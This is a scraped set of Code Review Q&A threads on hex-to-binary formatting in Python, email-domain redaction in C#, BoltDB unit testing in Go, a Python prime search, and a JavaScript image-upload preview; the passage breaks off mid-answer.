"body": "<h1>Review</h1>\n<p>You don't have a lot of code here to review, so this will necessarily be short.</p>\n<ul>\n<li><a href=\"https://pep8.org/\" rel=\"nofollow noreferrer\">PEP-8</a>: The Style Guide for Python Code recommends:\n<ul>\n<li><code>snake_case</code> for functions, variables, and parameters. So <code>aString</code> should be <code>a_string</code>, and <code>retVal</code> should be <code>ret_val</code>.</li>\n</ul>\n</li>\n<li>Better parameter names\n<ul>\n<li>What is <code>aString</code>? <code>"Hello World"</code> is a string, but we can't use it, because you are actually expecting a hexadecimal string. Perhaps <code>hex_string</code> would be a better parameter name.</li>\n<li>Similarly, <code>binary_string</code> would be more descriptive than <code>retStr</code>.</li>\n</ul>\n</li>\n<li>A <code>'''docstring'''</code> would be useful for the function.</li>\n<li>Type hints would also be useful.</li>\n</ul>\n<h1>Alternate Implementation</h1>\n<p>Doing things character-by-character is inefficient. It is usually much faster to let Python do the work itself with its efficient, optimized, native code functions.</p>\n<p>Python strings formatting supports adding a comma separator between thousand groups.</p>\n<pre class=\"lang-py prettyprint-override\"><code>>>> f"{123456789:,d}"\n'123,456,789'\n</code></pre>\n<p>It also supports adding underscores between groups of 4 digits when using the binary or hexadecimal format codes:</p>\n<pre class=\"lang-py prettyprint-override\"><code>>>> f"{548151468:_x}"\n'20ac_20ac'\n>>> f"{0x20AC:_b}"\n'10_0000_1010_1100'\n</code></pre>\n<p>That is most of the way to what you're looking for. Just need to turn underscores to spaces, with <code>.replace(...)</code> and fill with leading zeros by adding the width and 0-fill flag to the format string.</p>\n<pre class=\"lang-py prettyprint-override\"><code>>>> f"{0x20AC:019_b}".replace('_', ' ')\n'0010 0000 1010 1100'\n</code></pre>\n<p>A function using this technique could look like:</p>\n<pre class=\"lang-py prettyprint-override\"><code>def str_bin_in_4digits(hex_string: str) -> str:\n """\n Turn a hex string into a binary string.\n In the output string, binary digits are space separated in groups of 4.\n\n >>> str_bin_in_4digits('20AC')\n '0010 0000 1010 1100'\n """\n\n value = int(hex_string, 16)\n width = len(hex_string) * 5 - 1\n bin_string = f"{value:0{width}_b}"\n return bin_string.replace('_', ' ')\n\nif __name__ == '__main__':\n import doctest\n doctest.testmod(verbose=True)\n</code></pre>\n<p>Depending on your definition of elegant, you can one-line this:</p>\n<pre class=\"lang-py prettyprint-override\"><code>def str_bin_in_4digits(hex_string: str) -> str:\n """\n Turn a hex string into a binary string.\n In the output string, binary digits are space separated in groups of 4.\n\n >>> str_bin_in_4digits('20AC')\n '0010 0000 1010 1100'\n """\n\n return f"{int(hex_string,16):0{len(hex_string)*5-1}_b}".replace('_', ' ')\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T00:03:08.493",
"Id": "513957",
"Score": "0",
"body": "Nice review. Is there a reason to mix double and single quotes?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T00:58:58.150",
"Id": "513959",
"Score": "1",
"body": "Python makes no distinction between single and double quotes, or triple-quoted single/double quote strings, once they've been created. Single quotes don't need to be escaped in double quote strings, and double quotes don't need to be escaped in single quote string; newlines and quotes don't need escaping in triple-quoted strings. My habit of using single quotes for single characters and double quotes for strings comes from C/C++/Java, and has no other significance. @Marc"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T23:01:04.343",
"Id": "260276",
"ParentId": "260215",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T04:17:54.807",
"Id": "260215",
"Score": "4",
"Tags": [
"python"
],
"Title": "Converting hex to binary in the form of string"
}
|
260215
|
<p>I have written the below method to replace some of the email domains like <code>@gmail.com</code> and <code>@yahoo.com</code> with a given text.</p>
<pre><code>public static string RemovePersonalInfo(string input)
{
string[] tokens = input.Split(new char[] { ' ', '\t', '\r', '\n' });
string output = string.Empty;
foreach (string token in tokens)
{
if (token.Contains("@gmail.com"))
{
output += " SOMETEXT";
}
else
{
output += " " + token;
}
}
tokens = output.Split(new char[] { ' ', '\t', '\r', '\n' });
output = string.Empty;
foreach (string token in tokens)
{
if (token.Contains("@yahoo.com"))
{
output += " SOMETEXT";
}
else
{
output += " " + token;
}
}
return output;
}
</code></pre>
<p>It is working as expected for the below input.</p>
<p>But I don't think it is a good solution, I can see the improvements in the code like it is not scalable, let's see tomorrow some other email domain comes, I will have to again modify the code and write another <code>if</code> condition. the second improvement is that I am running the loop twice, it can be done in one loop. so performance can be improved.</p>
<p>Or if there is any better approach than this, please suggest.</p>
<p><strong>Input</strong>: test@gmail.com test@abc.com @teest@yahoo.com</p>
<p><strong>Output</strong>: SOMETEXT test@abc.com SOMETEXT</p>
<p><strong>Note</strong>: I am not supposed to use the <code>Replace</code> method. So the only intention here is to use the same logic in basic programming languages like C and C++ as well.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T07:35:51.903",
"Id": "513647",
"Score": "1",
"body": "hi, I'm trying to understand the limitations here. I'm wondering why you use c# if you can't even use basic c#/.net functions? If you want to use the basic programming languages like c/c++ I'd suggest to provide it with c instead the lowest level. Anyway, the first part and second part of the code are identical, so you can definitely extract a function: `Replace(text, toReplace, replacement)`. If you're using c# you can just simply use regex replace: `(?<=\\s+|^)(?<toReplace>\\S+(@gmail.com|@yahoo.com))(?=\\s+|$)`. And of course the `@gmail.com|@yahoo.com` is generated as needed."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T07:39:07.867",
"Id": "513648",
"Score": "0",
"body": "This is to test how the regex done the job: http://regexstorm.net/tester?p=%28%3f%3c%3d%5cs%2b%7c%5e%29%28%3f%3ctoReplace%3e%5cS%2b%28%40gmail.com%7c%40yahoo.com%29%29%28%3f%3d%5cs%2b%7c%24%29&i=test%40gmail.com+test%40abc.com+%40teest%40yahoo.com&r=SOMETEXT&o=i"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T07:39:36.737",
"Id": "513649",
"Score": "0",
"body": "I’m writing into C# because I have been asked to solve the problem in C#. The instructor has asked me not to use methods like Replace, so I’m not using it"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T07:41:07.150",
"Id": "513650",
"Score": "0",
"body": "@MochYusup how to use this regex in C#"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T07:48:21.813",
"Id": "513651",
"Score": "0",
"body": "This is how you do it in c#: `Regex.Replace(input, @\"(?<=\\s+|^)(\\S+(@gmail.com|@yahoo.com))(?=\\s+|$)\", \"SOMETEXT\", RegexOptions.IgnoreCase)`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T08:05:12.467",
"Id": "513652",
"Score": "0",
"body": "@MochYusup thank you, I’ll give it a try"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T11:08:36.197",
"Id": "513659",
"Score": "0",
"body": "@Heslacher I have tested on my machine, it’s working as it’s mentioned in the question,by the way have you tried my code? Is it showing different output or you are just guessing?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T11:12:17.887",
"Id": "513660",
"Score": "0",
"body": "Just looked again at the code. Didn't see that you splittet `output` before the second loop. Just saw `output = string.Empty;` which meant that the previous content had been \"deleted\". I retracted my close vote."
}
] |
[
{
"body": "<ul>\n<li><p>Performance wise using string concatination (<code>output += </code>) inside a loop isn't the best choice because for each <code>output += </code> a new string is created because strings are immutable. Using a <code>StringBuilder</code> would be the way to go. But instead of returning a <code>string</code>, you <strong>could</strong> return an <code>IEnumerable<string></code> which <strong>would</strong> make the code more flexible.</p>\n</li>\n<li><p>Passing an <code>IEnumerable<string></code> as method parameter holding the not wanted domains will make the code open for needed changes.</p>\n</li>\n<li><p>Passing an <code>IEnumerable<string></code> as method parameter holding the tokens would enable the method to only do one thing.</p>\n</li>\n<li><p>Because the method is <code>public</code> you should have proper parameter validation.</p>\n</li>\n<li><p>Using a little bit of Linq would compact the code a lot.</p>\n</li>\n<li><p>Instead of hardcoding "SOMETEXT" you could pass an optional parameter.</p>\n</li>\n</ul>\n<p>Implementing the mentioned changes using <code>string</code> as return-type would lead to</p>\n<pre><code>public static string RemovePersonalInfo(string input)\n{\n if (input == null) { throw new NullReferenceException(nameof(input)); }\n if (string.IsNullOrWhiteSpace(input)) { return input; }\n\n return RemovePersonalInfo(input.Split(new char[] { ' ', '\\t', '\\r', '\\n' }), new string[] { "@gmail.com", "@yahoo.com" });\n\n}\nprivate static string RemovePersonalInfo(IEnumerable<string> tokens, IEnumerable<string> domains, string replacement = "SOMETEXT")\n{\n return string.Join(" ", tokens.Select(token => (domains.Any(domain => token.Contains(domain)) ? replacement : token)));\n} \n</code></pre>\n<p>and could be called like before.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T11:53:35.320",
"Id": "260225",
"ParentId": "260216",
"Score": "3"
}
},
{
"body": "<p>I am the one who added the <strong>Homework</strong> tag to the post. I will answer your question under the premise that you are a student and that perhaps your instructor has not yet covered some C# features to you but will as the curriculum progresses.</p>\n<p>@Hescacher gave the standard advice that continually modifying the same string is slow and inefficient. Instead, a <code>StringBuilder</code> object should be used. This is sound advice.</p>\n<p>However, there is an alternative to using <code>StringBuilder</code>. Since you use <code>String.Split</code> to create an intermediate string array <code>tokens</code>, I will just modify the element in the array. Later, a <code>String.Join</code> will produce the output. Note that in order to modify an individual token, the loop cannot be a <code>foreach</code>. Instead it must use a <code>for</code> with an index variable.</p>\n<p>Let's briefly cover one of the many strong principles of good coding: <strong>DON'T REPEAT YOURSELF</strong>, or <strong>DRY</strong>. You posted here because you obviously saw the duplicated code in your method. Your small test has only 2 email domains but what if you have 200? Were you planning to just repeat the code 200 times?</p>\n<p>As you attempt to keep your code <strong>DRY</strong>, you will discover that you can do so by passing in parameters. This makes your code more modular, with smaller methods singular in purpose. This touches upon the <strong>Single Responsibility Principle</strong>.</p>\n<pre><code>public static string[] EmailDomainFilters => new string[] { "@gmail.com", "@yahoo.com" };\n\npublic static string RemovePersonalInfo(string input, string[] filters, bool ignoreCase = false, string replacement = "SOMETEXT")\n{\n if (string.IsNullOrWhiteSpace(input))\n {\n return string.Empty;\n }\n if (filters == null)\n {\n throw new ArgumentNullException(nameof(filters));\n }\n string[] tokens = input.Split(new char[] { ' ', '\\t', '\\r', '\\n' });\n StringComparison comparer = ignoreCase ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal;\n // Cannot use a foreach tokens since the token may be modified inside the loop.\n for (int i = 0; i < tokens.Length; i++)\n {\n foreach (string filter in filters)\n {\n if (tokens[i].IndexOf(filter, comparer) >= 0)\n {\n tokens[i] = replacement;\n break; \n }\n }\n }\n return string.Join(" ", tokens);\n}\n\npublic static void TestFilters()\n{\n string input = "test@gmail.com test@abc.com @teest@yahoo.com";\n string output = RemovePersonalInfo(input, EmailDomainFilters, ignoreCase: true);\n Console.WriteLine(output);\n}\n</code></pre>\n<p>Let's review what we did to make it DRY.</p>\n<p>One, the email domain filters have been saved to a read-only property, and they are passed into the <code>RemovePersonalInfo</code> method. There is now an inner foreach loop to check each email domain. Once we find one, we apply the replacement and continue to the next token.</p>\n<p>A reality of a developer's life is some data will be bad. What if someone input "TEST@GMAIL.COM"? Should we replace it's text or not? To account for string casing, I added a parameter on whether you should ignore or honor it. This keeps the method flexible.</p>\n<p>Another flexible feature is the parameter for the replacement text. Maybe one day you want it to be "REDACTED" or "OBFUSCATED". I get it that a student tries to hit exact requirements of the lesson. But you can hit it and still be flexible in how its coded.</p>\n<p>Intermediate or advanced ... your instructor has a lesson plan and some topics are to be covered in the future. My answer here uses a lot of string arrays. If you were not a student, my answer have changed slightly with:</p>\n<pre><code>public static IList<string> EmailDomainFilters => new string[] { "@gmail.com", "@yahoo.com" };\n\npublic static string RemovePersonalInfo(string input, IEnumerable<string> filters, bool ignoreCase = false, string replacement = "SOMETEXT")\n{ . . . }\n</code></pre>\n<p>But those may be topics that your instructor does not want you exposed to just yet.</p>\n<p><strong>SUMMARY</strong></p>\n<ul>\n<li>Keep it DRY.</li>\n<li>Use Single Responsibility Principle for modular code.</li>\n<li>Use parameters for flexibility.</li>\n<li>Expect bad data and have checks for it.</li>\n</ul>\n<p><strong>UPDATE</strong></p>\n<p>My original answer used a <code>continue</code> for the inner <code>foreach</code> loop. It has been changed to <code>break</code>.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T13:01:58.410",
"Id": "260336",
"ParentId": "260216",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T04:34:35.453",
"Id": "260216",
"Score": "0",
"Tags": [
"c#",
"homework",
"asp.net",
"asp.net-core",
".net-core"
],
"Title": "How to replace the given email address with a value in a given input?"
}
|
260216
|
<p>I am writing a Go package that handles communication with BoltDB as a part of some larger project. I have 2 methods for interacting with DB.</p>
<pre><code>func Lookup(path string) (string, bool) {}
func RegisterUrl(path, url string) error {}
</code></pre>
<p>Lookup makes a request to database to retrieve corresponding url, whereas RegisterUrl writes path:url key-value pair to DB.</p>
<p>I would like to ask for a review of my implementation and some advice on how to implement unit tests.</p>
<p><strong>Unit Testing</strong></p>
<p>I've included the skeleton for unit tests that I would like to have for above 2 functions. However I have trouble figuring what is the best way to implement them.</p>
<ul>
<li>I wouldn't like to test methods using the "prod" database/bucket, rather then that I would prefer to swap prod DB to test DB in the <code>database_test.go</code> file.</li>
<li>I thought about making dbName and bucketName public variables in <code>database.go</code> and then change them in _test file for test db, but this seems like I would be breaking the encapsulation.</li>
<li>I also considered passing test database/bucket to functions as functional options, but this seems like it will make code more complicated and I am not sure if this is the best approach.</li>
</ul>
<p>I would be happy to hear your advice.</p>
<p><strong>database.go</strong></p>
<pre><code>// Package database handles communication with BoltDB.
package database
import (
"log"
"time"
"github.com/boltdb/bolt"
)
var dbOptions *bolt.Options = &bolt.Options{
Timeout: 1 * time.Second,
}
const (
dbName = "urls.db"
bucketName = "UrlFromPath"
)
func init() {
// Make sure that the database exists.
db, err := bolt.Open(dbName, 0600, dbOptions)
if err != nil {
log.Fatal(err)
}
defer db.Close()
// Make sure that UrlFromPath bucket exists.
err = db.Update(func(tx *bolt.Tx) error {
_, err := tx.CreateBucketIfNotExists([]byte(bucketName))
if err != nil {
return err
}
return nil
})
if err != nil {
log.Fatal(err)
}
}
// Lookup checks if `path` key exists in database and returns related `url` value if found. If not
// found second return value `ok` is set to false.
func Lookup(path string) (url string, ok bool) { // TODO: return
// Open connection to DB.
db, err := bolt.Open(dbName, 0600, dbOptions)
if err != nil {
log.Fatalf("Cannot connect to DB: %s", err)
return "", false
}
defer db.Close()
// Retreive url from DB.
var url_bytes []byte
err = db.View(func(tx *bolt.Tx) error {
b := tx.Bucket([]byte(bucketName))
url_bytes = b.Get([]byte(path))
return nil
})
if err != nil {
return "", false
}
if url_bytes != nil {
return string(url_bytes), true
} else {
return "", false
}
}
// RegisterUrl saves provided key:value (path:url) pair to database.
func RegisterUrl(path, url string) error {
// Open connection to DB.
db, err := bolt.Open(dbName, 0600, dbOptions)
if err != nil {
return err
}
defer db.Close()
// Save path and url.
err = db.Update(func(tx *bolt.Tx) error {
b := tx.Bucket([]byte(bucketName))
err := b.Put([]byte(path), []byte(url))
return err
})
if err != nil {
return err
}
log.Printf("Database: %s, %s registered.", path, url)
return nil
}
</code></pre>
<p><strong>database_test.go</strong></p>
<pre><code>package database
import "testing"
func setup() {
// Init test db.
// Init test bucket.
}
func cleanup() {
// Remove test db.
}
func TestLookup(t *testing.T) {
// T1. Path exists in db. Correct url is retrieved.
// T2. Path doesn't exist in db. false is returned.
}
func TestRegisterUrl(t *testing.T) {
// T1. Add path:url to db. Correct path:url pair has been added to db.
}
<span class="math-container">```</span>
</code></pre>
|
[] |
[
{
"body": "<p>I think the code could benefit a struct for the database instead of global state.\nYou can use a New method instead of init() where you pass in the params, which would differet from test and production.</p>\n<p>I also demonstrated that you can keep the connection open and reuse it within the struct. If you prefer a lazy approach, you can omit this and create a the connection in each call if you want.</p>\n<pre><code>type Database struct {\n bucketName string \n boltDB *bolt.DB\n}\n\nfunc New(dbName, bucketName string, opts *bolt.Options) (db *Database, error) {\n db, err := bolt.Open(dbName, 0600, opts)\n return &Database{\n boltDb: db,\n bucketName: bucketName\n }, nil\n}\n\nfunc(db *Database) Lookup(path string) (url string, ok bool) { // lookup logic }\nfunc(db *Database) RegisterUrl(path, url string) error { //register logic}\n<span class=\"math-container\">```</span>\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T08:30:02.200",
"Id": "260288",
"ParentId": "260217",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T06:29:04.980",
"Id": "260217",
"Score": "1",
"Tags": [
"unit-testing",
"go",
"database"
],
"Title": "BoltDB Lookup and Add methods and advice on unit testing"
}
|
260217
|
<p>I have these 2 version of code. Both are looking for all primes under a certain ceiling value.</p>
<p>The first is testing against the set of all odd numbers.
The second in testing against the set of all 6k-1 and 6k+1.</p>
<p>In theory, the second version should be faster than the first.
However the result states otherwise.</p>
<p>For under 1 million, the first perform for 1.477835 seconds, while the second perform for 1.521462 seconds.</p>
<p>For under 10 million, the first perform for 30.929565 seconds, while the second perform for 32.825142 seconds.</p>
<p>I have not test these under a different machine.</p>
<p>I could not figure out why I'm getting these results. Because, the second version is suppose to eliminate more composite numbers than the first. However, it perform worse, quite significantly.</p>
<p>I suspect this might be caused by my method of implementation. But even if that were the case, I still wouldn't have the slightest idea of why.</p>
<p>Could it be because of I'm having more nested loops? Or is it to do with memory access? Is it maybe a python's quirk where the implementation details matters? Maybe in some way the first version is simpler and therefore can be easily better optimized by python compared to the second?</p>
<p>If someone could provide some explanations, suggestions, even solutions or alternatives, that would be much appreciated.</p>
<pre><code>#!/usr/bin/env python3.8
import sys
import time
import math
if len(sys.argv) != 2:
print('usage:')
print(' (ceiling)')
print(' Find primes less than ceiling.')
sys.exit(-1)
try:
ceiling = int(sys.argv[1])
except:
print('Fail to parse ceiling ({}) as integer.'.format(sys.argv[1]))
sys.exit(-2)
if ceiling < 3:
print('Minimum ceiling value is 3.')
sys.exit(-3)
prime = [3]
# start benchmark
bench_start = time.perf_counter()
# range(start, end, step) does not include end
# step = 2 to avoid checking even numbers
for i in range(5, ceiling + 1, 2):
# test only against factors less than the square root
root = math.sqrt(i)
for j in prime:
if j > root:
prime.append(i)
break
if i % j == 0:
break
# end of benchmark
bench_end = time.perf_counter()
# prepend 2 to the prime list since it was skipped
prime.insert(0, 2)
print(prime)
print('Number of, primes less than {0}, found: {1}'.format(ceiling, len(prime)))
# benchmark report
print('Time elapsed: {:f}s'.format(bench_end - bench_start))
sys.exit(0)
</code></pre>
<hr />
<pre><code>#!/usr/bin/env python3.8
import sys
import time
import math
if len(sys.argv) != 2:
print('usage:')
print(' (ceiling)')
print(' Find primes less than or equal to ceiling.')
sys.exit(-1)
try:
ceiling = int(sys.argv[1])
except:
print('Fail to parse ceiling ({}) as integer.'.format(sys.argv[1]))
sys.exit(-2)
if ceiling < 3:
print('Minimum ceiling value is 3.')
sys.exit(-3)
prime = [3]
# start benchmark
bench_start = time.perf_counter()
# range(start, end, step) does not include end
# test only for 6k-1 and 6k+1
# use (ceiling+1)+1 in case of ceiling = 6k-1
for h in range(6, ceiling+2, 6):
for i in [h-1, h+1]:
# test only against factors less than the square root
root = math.sqrt(i)
for j in prime:
if j > root:
prime.append(i)
break
if i % j == 0:
break
# end of benchmark
bench_end = time.perf_counter()
# when ceiling = {6k-1, 6k}, remove 6k+1
if prime[-1] > ceiling:
prime.pop()
# prepend 2 to the prime list since it was skipped
prime.insert(0, 2)
print(prime)
print('Number of, primes less than or equal to {0}, found: {1}'.format(ceiling, len(prime)))
# benchmark report
print('Time elapsed: {:f}s'.format(bench_end-bench_start))
sys.exit(0)
<span class="math-container">```</span>
</code></pre>
|
[] |
[
{
"body": "<p>The difference averages to .2 microseconds per number checked.</p>\n<p>To see if its the inner loop, try unrolling it in the second program:</p>\n<pre><code>...\nfor i in range(5, ceiling+1, 6):\n # test only against factors less than the square root\n # just use the sqrt of the bigger number to avoid another call to sqrt\n root = math.sqrt(i + 2)\n\n # tests 6k - 1\n for j in prime:\n if j > root:\n prime.append(i)\n break\n if i % j == 0:\n break\n\n # tests 6k + 1\n i += 2\n for j in prime:\n if j > root:\n prime.append(i)\n break\n if i % j == 0:\n break\n ...\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T03:44:02.227",
"Id": "513694",
"Score": "0",
"body": "I tried unwinding the inner-loop. Although it did makes it faster, it still was slower than the first version. However, by taking the root calculation out of the inner-loop and only calculating for the larger number, as you had suggested, it has made the performance quite considerably faster than the first version. So in conclusion, the square root calculation seems to have a more significant performance importance."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T23:28:51.317",
"Id": "260239",
"ParentId": "260218",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "260239",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T06:40:25.040",
"Id": "260218",
"Score": "1",
"Tags": [
"python",
"algorithm",
"python-3.x",
"primes",
"search"
],
"Title": "Python Prime Search Slower Optimization"
}
|
260218
|
<p>I got my code working with vanilla JavaScript, however I'm new to JS, so I don't know if the code is robust or not. Any advice to improve the code is welcome.</p>
<p><strong>Note:</strong> I just noticed a bug. The code removes the image from the DOM (is it the right term?) but it still submits the images that I deleted. Any idea how can I fix that?</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code> let count = 0
function previewFiles(input) {
const preview = document.getElementById('preview')
const {
files
} = input
Array.from(files).forEach(file => {
const reader = new FileReader()
reader.onload = e => {
const div = document.createElement('div')
const img = document.createElement('img')
const button = document.createElement('button')
img.src = e.target.result
img.width = 200
img.height = 200
img.alt = `file-${++count}`
button.textContent = "Delete"
button.addEventListener('click', () => {
preview.removeChild(div)
})
div.appendChild(img)
div.appendChild(button)
preview.appendChild(div)
}
reader.readAsDataURL(file)
})
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code> <input type="file" multiple onchange="previewFiles(this);" />
<div id="preview"></div></code></pre>
</div>
</div>
</p>
|
[] |
[
{
"body": "<p>Welcome to Code Review! Good on you for opening up to constructive criticism.</p>\n<p>Buckle up, this will be a long one ;)</p>\n<hr />\n<h1> The Question</h1>\n<p>Let us start with your question:</p>\n<blockquote>\n<p>[...] I don't know if the code is robust or not. Any advice to improve the code is welcome.</p>\n</blockquote>\n<p>I hope you would agree with me when I say that this is not really a proper question. Code "robustness" is a rather subjective matter, so one couldn't <em>objectively</em> answer that. If you would like my opinion: <em>any <strong>code that does what it needs to do, everytime you run it</strong>, is robust.</em></p>\n<p>I could direct you to <a href=\"https://codereview.stackexchange.com/help/how-to-ask\">the guide on posting a proper question</a>, but I find that is often unnecessary, since I understand what you would want from me so you can improve this code.</p>\n<p>Another problem with your question is that you have a bug in your code. Fixing bugs is not really something we do at Code Review, but the way I see it, we can both improve your code and fix the bug in one swoop!</p>\n<p>I'm going to review your code nonetheless, because it's perfectly possible, it's fun and people who come here to get their code reviewed can get easily discouraged with all these rules.</p>\n<p>The way I measure code improvement in my day-to-day reviews, is by <em>how much smaller you can make a file or function, while maintaining full functionality and maintaining or improving readability.</em> I'm not really interested in code speed, so you'd have to look elsewhere for tips on that. Let's get to work.</p>\n<hr />\n<h1> The problem</h1>\n<p>The (in my opinion) most valuable advice one could give to a beginning programmer is the following:</p>\n<p><strong>Before you start on any given programming problem, you must first understand the problem, and the sub-problems that make up the larger problem, <em>ad infinitum</em>.</strong></p>\n<p>In your case it would require you to state and disect the problem as follows:</p>\n<ul>\n<li>Create a File upload with image previews and removal functionality\n<ul>\n<li>How does one upload a file?\n<ul>\n<li>What does it mean to "upload" a file?</li>\n</ul>\n</li>\n<li>How does one remove an uploaded file?\n<ul>\n<li>What does it mean to "remove" an uploaded file?</li>\n</ul>\n</li>\n<li>How does one show a thumbnail for an uploaded file?\n<ul>\n<li>What is a thumbnail?</li>\n<li>How do you get a thumbnail from an uploaded file?</li>\n<li>How do you link the remove functionality to a thumbnail?</li>\n</ul>\n</li>\n</ul>\n</li>\n</ul>\n<p>Thence we can figure out how to write code that solves these sub-problems, and combine those solutions into one big solution.</p>\n<hr />\n<h1> How does one upload a file?</h1>\n<p>This is a part of the problem you've understood. To upload a file with HTML, you use the <code>input</code> tag with <code>type=file</code>. The interesting part here is the next step: what does it mean to "upload" a file?</p>\n<p><a href=\"https://html.spec.whatwg.org/multipage/input.html#file-upload-state-(type=file)\" rel=\"nofollow noreferrer\">According to the html specification for <code><input type="file"/></code></a>, an <code>input</code> tag keeps track of what items have been uploaded, <a href=\"https://html.spec.whatwg.org/multipage/input.html#concept-input-type-file-selected\" rel=\"nofollow noreferrer\">known as "the selected files", under a property called <code>files</code></a>. So for a file to "be uploaded", it must be in the <code>files</code> property of the <code>input</code>. It would seem your mental model does not match the actual implementation of the <code>input</code> tag! That's where the bug comes from.</p>\n<p>When you upload a file in your snippet, <strong>it overwrites the last selection of uploaded files</strong>. You probably thought you fixed it using the <code>multiple</code> attribute, but <a href=\"https://html.spec.whatwg.org/multipage/input.html#attr-input-multiple\" rel=\"nofollow noreferrer\">that attribute only specifically allows multiple files to be uploaded <em>at once</em></a>. This means that everytime you select any file(s), you lose reference to the previously uploaded files.</p>\n<p>Now that we know what we want and understand the problems, we can define a bit of code to do what we want.</p>\n<pre class=\"lang-html prettyprint-override\"><code><script>\nconst files = [];\n\nfunction upload (input) {\n files.push(...input.files);\n}\n</script>\n<input type="file" multiple onchange="upload(this)"/>\n</code></pre>\n<p>There we go. That's all we needed: an array to store our uploaded files and a function to add to that array any file we upload.</p>\n<p>A couple of quick notes about this solution:</p>\n<ul>\n<li><a href=\"https://developer.mozilla.org/en-US/docs/Web/API/FileList\" rel=\"nofollow noreferrer\"><code>input.files</code> is a <code>FileList</code>, not an array</a> -- you knew and understood this. One could transform it to an array and use array methods on it, but I chose to use the <code>...</code> spread operator. In this context, to spread a <code>FileList</code> means to <em>take every <code>File</code> in the <code>FileList</code>, and provide it as an argument to <code>files.push(...)</code>.</em> Other solutions like <code>for (const file of input.files)</code> would also work, with the benefit that these methods don't create an array which we never directly use for anything but looping over.</li>\n</ul>\n<hr />\n<h1>❌ How does one "remove" an uploaded file?</h1>\n<p>The way you remove a file in your current code is not actually removing the file. You are just removing the thumbnail from the DOM (that is indeed the right term).</p>\n<p>But then what does it mean to "remove" an uploaded file? Well, simply put: if "uploading" means that we add a <code>File</code> to an array, "removing" should just mean to take that <code>File</code> out of the array again:</p>\n<pre class=\"lang-html prettyprint-override\"><code><script>\nconst files = [];\n\nfunction upload (input) {\n files.push(...input.files);\n}\n\nfunction remove (name) {\n const index = files.findIndex(file => file.name === name);\n if (index === -1) return;\n files.splice(index, 1);\n}\n</script>\n<input type="file" multiple onchange="upload(this)"/>\n</code></pre>\n<p>A couple of quick notes about this solution:</p>\n<ul>\n<li>To remove an element from an array in JavaScript you need to use <code>Array.splice</code>, which requires an index from where to start removing elements, and the number of items to delete from there. <code>files.splice(index, 1)</code> means to remove <code>1</code> item at index <code>index</code>.</li>\n<li>To know which file we want to delete from the list, we need a way to differentiate between files. <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/File\" rel=\"nofollow noreferrer\">The File API defines a property "name" which we can use</a>.</li>\n<li>To know the index of the file we differentiated, we need to use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findIndex\" rel=\"nofollow noreferrer\"><code>Array.findIndex</code>, which takes a function as a parameter</a> and returns <em>either the index of that file, or <code>-1</code> (meaning the file was not found in the array)</em>.</li>\n<li>In case we try to remove a non-existing file, we <code>return</code>. This should in theory never happen, but you should always cover your <a href=\"https://en.wikipedia.org/wiki/Happy_path\" rel=\"nofollow noreferrer\">non-happy flows</a>. That's just good software etiquette.</li>\n</ul>\n<hr />\n<h1>️ How does one show a thumbnail for an uploaded file?</h1>\n<p>This is not a simple question. To show a thumbnail, we must first understand what a thumbnail is.</p>\n<h2> What is a thumbnail?</h2>\n<p>Simply put, if a given file is an image, we want to show a small representation of that image. There's already a problem: your <code>input</code> <em>accepts</em> files of <strong>any type</strong>. If you upload a pdf or an illustrator file, your code will not work. Again, if you think about the problem and define what you do and do not want, you can create a solution.</p>\n<p>The simplest approach is to allow any image, and nothing else. One could make custom rendering logic for all sorts of files; a fun exercise for the reader ;).</p>\n<p>HTML has got us covered: <a href=\"https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/file#accept\" rel=\"nofollow noreferrer\">you can specify what type of file your <code>input</code> will accept</a>. You can read the entire page (which is quite interesting so why not), but the main takeaway here is that you can use the <code>accept</code> attribute with a value of <code>"image/*"</code> to <em>accept only files that are images</em>:</p>\n<pre class=\"lang-html prettyprint-override\"><code><script>\n const files = [];\n\n function upload (input) {\n files.push(...input.files);\n }\n\n function remove (name) {\n const index = files.findIndex(file => file.name === name);\n if (index === -1) return;\n files.splice(index, 1);\n 